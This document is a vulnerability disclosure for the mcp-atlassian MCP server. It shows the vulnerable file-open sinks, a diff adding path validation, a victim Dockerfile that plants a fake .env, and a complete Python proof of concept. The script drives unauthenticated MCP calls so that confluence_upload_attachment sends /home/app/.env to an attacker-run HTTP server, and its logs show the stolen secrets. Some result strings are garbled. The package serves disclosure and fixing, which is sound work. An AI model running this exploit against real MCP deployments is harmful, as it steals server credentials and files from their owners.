# src/mcp atlassian/confluence/attachments.py
64: if not os.path.isabs(file path):
65:   file path = os.path.abspath(file path)
68: if not os.path.exists(file path):
77: filename = os.path.basename(file path)
477: files = {"file": (filename, open(file path, "rb"))}  # ← sink

# src/mcp atlassian/jira/attachments.py
374: if not os.path.isabs(file path):
375:   file path = os.path.abspath(file path)
386: with open(file path, "rb") as file:          # ← sink
387:   attachment = self.jira.add attachment(

--- a/src/mcp atlassian/confluence/attachments.py
+++ b/src/mcp atlassian/confluence/attachments.py
-      if not os.path.isabs(file path):
-        file path = os.path.abspath(file path)
+      file path = str(validate safe path(file path))
       filename = os.path.basename(file path)
-      files = {"file": (filename, open(file path, "rb"))}
+      with open(file path, "rb") as file obj:
+        files = {"file": (filename, file obj)}
+        response = self.confluence. session.put(
+          url, headers=headers, files=files, data=data
+        )
-      response = self.confluence. session.put(
-        url, headers=headers, files=files, data=data
-      )

--- a/src/mcp atlassian/jira/attachments.py
+++ b/src/mcp atlassian/jira/attachments.py
-      if not os.path.isabs(file path):
-        file path = os.path.abspath(file path)
+      file path = str(validate safe path(file path))

SECRET DEPLOY KEY=PoC ExFiLtRaTeD s3cr3t k3y d0 n0t sh4r3
DB PASSWORD=pr0duct10n d4tab4se p4ss
AWS SECRET ACCESS KEY=AKIA FAKE KEY FOR POC ONLY

docker build -t mcp-atlassian-vuln001 
 -f vuln-001/Dockerfile 
 /path/to/mcp-atlassian-repo

python3 poc.py 
 --repo /path/to/mcp-atlassian-repo 
 --victim-port 18000 
 --attacker-port 18888

# Step 4a — initialize (no Authorization header)
headers = {
  "X-Atlassian-Confluence-Url":      "http://poc-vuln001-attacker:8888",
  "X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc",
}
POST /mcp {"jsonrpc":"2.0","method":"initialize","id":1,
      "params":{"protocolVersion":"2024-11-05","capabilities":{},
           "clientInfo":{"name":"vuln001-poc","version":"1.0"}}}

# Step 4b — trigger file exfiltration
POST /mcp {"jsonrpc":"2.0","method":"tools/call","id":3,
      "params":{"name":"confluence upload attachment",
           "arguments":{"content id":"123",
                  "file path":"/home/app/.env"}}}

[attacker] *** EXFILTRATED FILE CONTENT START ***
SECRET DEPLOY KEY=PoC ExFiLtRaTeD s3cr3t k3y d0 n0t sh4r3
DB PASSWORD=pr0duct10n d4tab4se p4ss
AWS SECRET ACCESS KEY=AKIA FAKE KEY FOR POC ONLY
[attacker] *** EXFILTRATED FILE CONTENT END ***

# VULN-001 PoC Victim Image
# Build con: mcp-atlassian repo root (use: docker build -f vuln-001/Dockerfile .)
# Builds the mcp-atlassian server and creates a secret file for exfiltration demonstration.

FROM ghcr.io/astral-sh/uv:python3.13-alpine AS builder

WORKDIR /app
ENV UV COMPILE BYTECODE=1
ENV UV LINK MODE=copy

# Copy dependency files
COPY pyproject.toml README.md uv.lock ./

# Install dependencies (without the project itself to leverage caching)
RUN --mount=type=cache,target=/root/.cache/uv 
 uv sync --frozen --no-install-project --no-dev --no-editable

# Copy source and install the project
COPY src ./src
RUN --mount=type=cache,target=/root/.cache/uv 
 uv sync --frozen --no-dev --no-editable

# Strip bytecode cache to reduce image size
RUN find /app/.venv -name ' pycache ' -type d -exec rm -rf {} + 2>/dev/null || true && 
 find /app/.venv -name '*.pyc' -delete 2>/dev/null || true

# ── Final Stage ──────────────────────────────────────────────────────────────
FROM python:3.13-alpine

# Create non-root user mirroring a typical prod deployment
RUN adduser -D -h /home/app -s /bin/sh app

# Plant a sensitive file that the PoC will exfiltrate
RUN printf 'SECRET DEPLOY KEY=PoC ExFiLtRaTeD s3cr3t k3y d0 n0t sh4r3
' > /home/app/.env && 
 printf 'DB PASSWORD=pr0duct10n d4tab4se p4ss
' >> /home/app/.env && 
 printf 'AWS SECRET ACCESS KEY=AKIA FAKE KEY FOR POC ONLY
' >> /home/app/.env && 
 chown app:app /home/app/.env

WORKDIR /app
USER app

COPY --from=builder --chown=app:app /app/.venv /app/.venv

ENV PATH="/app/.venv/bin:$PATH"
ENV PYTHONUNBUFFERED=1

# Default: streamable-http on 0.0.0.0:8000 (overridable at runtime)
ENTRYPOINT ["mcp-atlassian"]
CMD ["--transport", "streamable-http", "--port", "8000", "--host", "0.0.0.0"]

#!/usr/bin/env python3
"""
VULN-001 PoC — MCP HTTP Client: Server-Local File Exfiltration via
Unvalidated Attachment Upload Path (CWE-200, CVSS 7.4)

Attack chain:
 1. Attacker sends X-Atlassian-Confluence-Url / Personal-Token headers — no
   Authorization header required (unauthenticated PAT path, main.py:584-595).
 2. SSRF check passes because MCP ALLOWED URL DOMAINS whitelists the attacker
   container hostname, bypassing DNS validation (urls.py:107-111).
 3. ConfluenceFetcher is constructed with the attacker-controlled URL
   (dependencies.py:544-545).
 4. confluence upload attachment is called with file path=/home/app/.env —
   the path is absolutized but never validated against a safe root
   (attachments.py:64-79).
 5. The file is opened and PUT-ed as multipart to the attacker server
   (attachments.py:477,490).

Usage:
 python3 poc.py [--repo /path/to/repo] [--victim-port 18000]
         [--attacker-port 18888] [--no-cleanup]

Requirements on the host running this script:
 - docker (CLI + daemon)
 - python3 with httpx (pip install httpx)
"""

import argparse
import json
import os
import subprocess
import sys
import textwrap
import time

# ── constants ──────────────────────────────────────────────────────────────

SCRIPT DIR   = os.path.dirname(os.path.abspath( file ))
DEFAULT REPO  = os.path.join(
  os.path.dirname(SCRIPT DIR), "repo"
)
DOCKERFILE PATH = os.path.join(SCRIPT DIR, "Dockerfile")

NETWORK NAME   = "poc-vuln001-net"
VICTIM NAME   = "poc-vuln001-victim"
ATTACKER NAME  = "poc-vuln001-attacker"
VICTIM IMAGE   = "mcp-atlassian-vuln001"
ATTACKER IMAGE  = "python:3.12-slim"

TARGET FILE   = "/home/app/.env"  # sensitive file planted in the victim image

# ── attacker server source (injected into the attacker container) ──────────

ATTACKER SERVER SRC = textwrap.dedent(r"""
import http.server, json, re, sys, threading

 exfil = []  # captured files

class H(http.server.BaseHTTPRequestHandler):
  def log message(self, fmt, *a):
    print(f"[attacker-http] {fmt % a}", flush=True)

  # Confluence auth probe — return a minimal valid user object
  def do GET(self):
    self.send response(200)
    self.send header("Content-Type", "application/json")
    self.end headers()
    if self.path.rstrip("/") == "/exfil":
      self.wfile.write(json.dumps({"files": exfil}).encode())
    elif self.path.rstrip("/") == "/ready":
      self.wfile.write(b'{"status":"ok"}')
    else:
      self.wfile.write(json.dumps({
        "key": "attacker-user", "displayName": "Attacker",
        "emailAddress": "attacker@evil.example", "active": True,
        "accountType": "atlassian"
      }).encode())

  def do PUT(self): self. recv()
  def do POST(self): self. recv()

  def recv(self):
    cl = int(self.headers.get("Content-Length", 0))
    body = self.rfile.read(cl) if cl else b""
    ct  = self.headers.get("Content-Type", "")
    print(f"[attacker] {self.command} {self.path} body={len(body)}b ct={ct}", flush=True)

    file data = b""
    if "multipart" in ct and body:
      bm = re.search(r"boundary[=s]+([w-]+)", ct)
      if bm:
        boundary = bm.group(1).encode()
        for part in body.split(b"--" + boundary):
          if b"r
r
" not in part:
            continue
          hdr, , data = part.partition(b"r
r
")
          if b'name="file"' in hdr or b"filename" in hdr:
            file data = data.rstrip(b"r
--")
            break

    if file data:
      text = file data.decode(errors="replace")
      print("[attacker] *** EXFILTRATED FILE CONTENT START ***", flush=True)
      print(text[:4096], flush=True)
      print("[attacker] *** EXFILTRATED FILE CONTENT END ***", flush=True)
       exfil.append({"path": self.path, "content": text[:4096], "size": len(file data)})
    else:
      print("[attacker] WARNING: no file data found in request", flush=True)

    self.send response(200)
    self.send header("Content-Type", "application/json")
    self.end headers()
    self.wfile.write(json.dumps({
      "results": [{
        "id": "att-001", "type": "attachment", "title": "exfiltrated",
        "metadata": {"mediaType": "text/plain"},
        "extensions": {"fileSize": len(file data)}
      }]
    }).encode())

server = http.server.HTTPServer(("0.0.0.0", 8888), H)
print("[attacker] listening on 0.0.0.0:8888", flush=True)
sys.stdout.flush()
server.serve forever()
""").strip()


# ── helpers ────────────────────────────────────────────────────────────────

def run(cmd: str, **kw):
  r = subprocess.run(cmd, shell=True, capture output=True, text=True, **kw)
  return r.returncode, r.stdout, r.stderr


def run ok(cmd: str, label: str = "") -> str:
  rc, out, err = run(cmd)
  if rc != 0:
    tag = f" ({label})" if label else ""
    print(f"[FAIL] Command{tag} exited {rc}:
 cmd: {cmd}
 stdout: {out}
 stderr: {err}", file=sys.stderr)
    sys.exit(1)
  return out


def docker logs(name: str) -> str:
   , out, err = run(f"docker logs {name} 2>&1")
  return out + err


def wait http(url: str, timeout: int = 60, interval: float = 1.5) -> bool:
  import urllib.request
  deadline = time.time() + timeout
  while time.time() < deadline:
    try:
      with urllib.request.urlopen(url, timeout=3) as r:
        if r.status < 500:
          return True
    except Exception:
      pass
    time.sleep(interval)
  return False


def cleanup(victim name: str, attacker name: str, network: str):
  run(f"docker rm -f {victim name} {attacker name} 2>/dev/null")
  run(f"docker network rm {network} 2>/dev/null")


def parse sse result(text: str) -> dict | None:
  """Extract the first JSON-RPC result from an SSE or plain-JSON body."""
  for line in text.splitlines():
    line = line.strip()
    if line.startswith("data:"):
      payload = line[5:].strip()
    elif line.startswith("{"):
      payload = line
    else:
      continue
    try:
      obj = json.loads(payload)
      if "result" in obj or "error" in obj:
        return obj
    except json.JSONDecodeError:
      continue
  return None


# ── MCP client (pure stdlib + httpx) ──────────────────────────────────────

def mcp exploit(victim url: str, attacker container url: str, target file: str) -> dict:
  """
  Drive the MCP streamable-http protocol to call confluence upload attachment
  with an arbitrary file path.
  Returns a dict with keys: success, session id, response text, error.
  """
  import httpx

  service headers = {
    "X-Atlassian-Confluence-Url":      attacker container url,
    "X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc",
  }
  base headers = {
    **service headers,
    "Content-Type": "application/json",
    "Accept":    "application/json, text/event-stream",
  }

  with httpx.Client(timeout=30) as client:
    # ── 1. initialize ──────────────────────────────────────────────
    print(f"[poc] Sending initialize to {victim url}")
    resp = client.post(victim url, headers=base headers, json={
      "jsonrpc": "2.0", "method": "initialize", "id": 1,
      "params": {
        "protocolVersion": "2024-11-05",
        "capabilities": {},
        "clientInfo": {"name": "vuln001-poc", "version": "1.0"},
      }
    })
    if resp.status code not in (200, 201):
      return {"success": False, "error": f"initialize failed: HTTP {resp.status code}
{resp.text[:400]}"}

    session id = resp.headers.get("mcp-session-id") or resp.headers.get("Mcp-Session-Id")
    print(f"[poc] Session-Id: {session id}")

    session headers = {**base headers}
    if session id:
      session headers["Mcp-Session-Id"] = session id

    # ── 2. notifications/initialized ──────────────────────────────
    client.post(victim url, headers=session headers, json={
      "jsonrpc": "2.0", "method": "notifications/initialized"
    })

    # ── 3. tools/list (optional, just for visibility) ─────────────
    try:
      tl = client.post(victim url, headers=session headers, json={
        "jsonrpc": "2.0", "method": "tools/list", "id": 2, "params": {}
      })
      tools obj = parse sse result(tl.text) or {}
      if "result" in tools obj:
        names = [t["name"] for t in tools obj["result"].get("tools", [])]
        print(f"[poc] Tools available: {names}")
        if "confluence upload attachment" not in names:
          print("[poc] WARNING: confluence upload attachment not in tools/list "
             "(will still attempt tools/call)")
    except Exception as e:
      print(f"[poc] tools/list skipped: {e}")

    # ── 4. tools/call ─────────────────────────────────────────────
    print(f"[poc] Calling confluence upload attachment file path={target file}")
    resp2 = client.post(victim url, headers=session headers, json={
      "jsonrpc": "2.0", "method": "tools/call", "id": 3,
      "params": {
        "name": "confluence upload attachment",
        "arguments": {
          "content id": "123",
          "file path": target file,
        }
      }
    }, timeout=30)

    return {
      "success": True,
      "session id": session id,
      "status code": resp2.status code,
      "response text": resp2.text[:2000],
      "error": None,
    }


# ── main ──────────────────────────────────────────────────────────────────

def main():
  ap = argparse.ArgumentParser(description="VULN-001 PoC runner")
  ap.add argument("--repo",     default=DEFAULT REPO)
  ap.add argument("--victim-port",  type=int, default=18000)
  ap.add argument("--attacker-port", type=int, default=18888)
  ap.add argument("--no-cleanup",  action="store true")
  args = ap.parse args()

  repo path   = os.path.abspath(args.repo)
  victim port  = args.victim port
  attacker port = args.attacker port

  print("=" * 60)
  print("VULN-001 PoC — MCP File Exfiltration via Attachment Upload")
  print("=" * 60)
  print(f"Repo:     {repo path}")
  print(f"Dockerfile:  {DOCKERFILE PATH}")
  print(f"Victim port:  {victim port}")
  print(f"Attacker port: {attacker port}")
  print()

  # ── 0. pre-flight ─────────────────────────────────────────────────
  cleanup(VICTIM NAME, ATTACKER NAME, NETWORK NAME)

  # ── 1. build victim image ─────────────────────────────────────────
  print("[*] Building victim image (this may take a few minutes)...")
  rc, out, err = run(
    f"docker build --no-cache -t {VICTIM IMAGE} "
    f"-f {DOCKERFILE PATH} {repo path}"
  )
  if rc != 0:
    print(f"[FAIL] docker build failed:
{err[-3000:]}", file=sys.stderr)
    sys.exit(1)
  print(f"[+] Victim image built: {VICTIM IMAGE}")

  # ── 2. create network ─────────────────────────────────────────────
  print("[*] Creating Docker network...")
  run ok(f"docker network create {NETWORK NAME}", "network create")
  print(f"[+] Network created: {NETWORK NAME}")

  try:
    # ── 3. start attacker container ────────────────────────────────
    print("[*] Starting attacker HTTP server...")
    attacker code escaped = ATTACKER SERVER SRC.replace("'", "'"'"'")
    run ok(
      f"docker run -d "
      f"--network {NETWORK NAME} "
      f"--name {ATTACKER NAME} "
      f"-p {attacker port}:8888 "
      f"{ATTACKER IMAGE} "
      f"python3 -c '{attacker code escaped}'",
      "start attacker"
    )

    if not wait http(f"http://127.0.0.1:{attacker port}/ready", timeout=30):
      print("[FAIL] Attacker server did not start in time")
      print(docker logs(ATTACKER NAME))
      sys.exit(1)
    print(f"[+] Attacker server ready on port {attacker port}")

    # ── 4. start victim container ──────────────────────────────────
    print("[*] Starting victim MCP server...")
    run ok(
      f"docker run -d "
      f"--network {NETWORK NAME} "
      f"--name {VICTIM NAME} "
      f"-p {victim port}:8000 "
      f"-e TRANSPORT=streamable-http "
      f"-e MCP ALLOWED URL DOMAINS={ATTACKER NAME} "
      f"-e READ ONLY MODE=false "
      f"-e MCP LOGGING STDOUT=true "
      f"-e MCP VERBOSE=true "
      f"{VICTIM IMAGE} "
      f"--transport streamable-http --port 8000 --host 0.0.0.0",
      "start victim"
    )

    print("[*] Waiting for victim MCP server to be ready...")
    if not wait http(f"http://127.0.0.1:{victim port}/healthz", timeout=60):
      print("[FAIL] Victim server did not start in time")
      print(docker logs(VICTIM NAME))
      sys.exit(1)
    print(f"[+] Victim MCP server ready on port {victim port}")

    # ── 5. run the exploit ─────────────────────────────────────────
    print()
    print("[*] Launching MCP exploit...")
    victim mcp url    = f"http://127.0.0.1:{victim port}/mcp"
    attacker container url = f"http://{ATTACKER NAME}:8888"

    result = mcp exploit(victim mcp url, attacker container url, TARGET FILE)

    if not result["success"]:
      print(f"[FAIL] MCP exploit error: {result['error']}")
      print("Victim logs:
", docker logs(VICTIM NAME)[-2000:])
      sys.exit(1)

    print(f"[poc] tools/call HTTP {result['status code']}")
    print(f"[poc] Response:
{result['response text']}")

    # ── 6. verify exfiltration ─────────────────────────────────────
    time.sleep(2)

    import urllib.request
    with urllib.request.urlopen(
      f"http://127.0.0.1:{attacker port}/exfil", timeout=5
    ) as r:
      exfil data = json.loads(r.read())

    attacker raw logs = docker logs(ATTACKER NAME)
    print()
    print("Attacker server logs:")
    print(attacker raw logs[-4000:])

    files = exfil data.get("files", [])
    confirmed = bool(files) or (
      "EXFILTRATED FILE CONTENT" in attacker raw logs
      and "SECRET DEPLOY KEY" in attacker raw logs
    )

    evidence snippet = ""
    if files:
      evidence snippet = files[0].get("content", "")[:500]
    elif "EXFILTRATED FILE CONTENT START" in attacker raw logs:
      start = attacker raw logs.find("EXFILTRATED FILE CONTENT START") + len("EXFILTRATED FILE CONTENT START") + 4
      end  = attacker raw logs.find("EXFILTRATED FILE CONTENT END", start)
      evidence snippet = attacker raw logs[start:end].strip()[:500]

    print()
    if confirmed:
      print("[PASS] file leak confirmed — attacker servertext victim containertext sensitive filetext receivedtext.")
      print(f"[PASS] Evidence snippet:
{evidence snippet}")
    else:
      print("[FAIL] file leak evidencetext checktext text.")
      print("attacker logs:", attacker raw logs[-1000:])

    # ── 7. write phase2 result.json ────────────────────────────────
    phase2 = {
      "passed": confirmed,
      "verdict": "PASS" if confirmed else "FAIL",
      "reason": (
        "MCP HTTP clienttext X-Atlassian-Confluence-Url / Personal-Token headeronlyas "
        "without authentication ConfluenceFetchertext createtext, confluence upload attachment tooltext "
        "file path=/home/app/.envtext path verification text open() and attacker servertext senddone. "
        "attachments.py:477 open(file path,'rb')text sensitive filetext text multipart PUT requesttext containsdone."
        if confirmed else
        "attacker servertext file receivedtext checktext could not — logtext referenceand failure cause text required."
      ),
      "build command": (
        f"docker build -t {VICTIM IMAGE} "
        f"-f {DOCKERFILE PATH} {repo path}"
      ),
      "run command": (
        f"docker network create {NETWORK NAME} && "
        f"docker run -d --network {NETWORK NAME} --name {ATTACKER NAME} "
        f"-p {attacker port}:8888 {ATTACKER IMAGE} python3 -c '<attacker server src>' && "
        f"docker run -d --network {NETWORK NAME} --name {VICTIM NAME} "
        f"-p {victim port}:8000 "
        f"-e TRANSPORT=streamable-http "
        f"-e MCP ALLOWED URL DOMAINS={ATTACKER NAME} "
        f"-e READ ONLY MODE=false "
        f"{VICTIM IMAGE} --transport streamable-http --port 8000 --host 0.0.0.0"
      ),
      "poc command": (
        f"python3 {os.path.basename( file )} "
        f"--repo {repo path} "
        f"--victim-port {victim port} "
        f"--attacker-port {attacker port}"
      ),
      "evidence": evidence snippet or attacker raw logs[-500:],
      "artifacts": ["Dockerfile", "poc.py"],
    }

    result path = os.path.join(SCRIPT DIR, "phase2 result.json")
    with open(result path, "w") as f:
      json.dump(phase2, f, indent=2, ensure ascii=False)
    print(f"
[*] phase2 result.json written: {result path}")

  finally:
    if not args.no cleanup:
      print("[*] Cleaning up containers and network...")
      cleanup(VICTIM NAME, ATTACKER NAME, NETWORK NAME)
      print("[*] Cleanup done.")
    else:
      print(f"[*] --no-cleanup: containers left running ({VICTIM NAME}, {ATTACKER NAME})")


if  name  == " main ":
  main()